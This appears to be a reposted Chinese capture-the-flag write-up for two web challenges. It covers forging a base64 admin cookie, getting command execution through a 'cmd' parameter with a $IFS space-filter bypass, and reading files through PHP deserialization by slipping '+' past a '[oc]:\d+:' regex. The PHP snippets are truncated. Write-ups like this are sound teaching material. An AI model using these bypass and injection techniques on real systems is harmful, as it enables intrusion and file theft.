安恒杯12月WEB-writeup

ezweb2

扫描目录,发现admin.php,提示不是admin发现cookie有dXNlag%3D%3D的字样,先url解码dXNlag==,猜测base64

安恒杯12月WEB-writeup_第1张图片
image

改成 adminbase64编码后进入 admin.php
安恒杯12月WEB-writeup_第2张图片
image
,随便输入,抓包发现变量名为 cmd,猜测 RCE
安恒杯12月WEB-writeup_第3张图片
image
于是试了个 ls /又提示error,经过测试发现过滤了空格,可以用 $IFS绕过。
安恒杯12月WEB-writeup_第4张图片
image
读取
安恒杯12月WEB-writeup_第5张图片
image

easy

给了源码

file)) 
        {
            $filename = "./{$this->file}";        
            if (file_get_contents($filename))         
            {              
                return file_get_contents($filename); 
            } 
        }     
    }  
}  
if (isset($_GET['data']))  
{ 
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }     
} 
else 
{ 
    highlight_file("./index.php"); 
} 
?> 

可以通过反序列化进行任意文件读取

file;    
        if(isset($this->file)) 
        {
            $filename = "./{$this->file}";
            print_r($filename);        
            if (file_get_contents($filename))         
            {              
                return file_get_contents($filename); 
            } 
        }     
    }  
}

$baby = new baby();
$a = serialize($baby);
echo $a;

但是正则preg_match('/[oc]:\d+:/i',$data,$matches);waf掉了[oc]:数字。在四前面加%2B就可以了,也就是+

安恒杯12月WEB-writeup_第6张图片
image

你可能感兴趣的:(安恒杯12月WEB-writeup)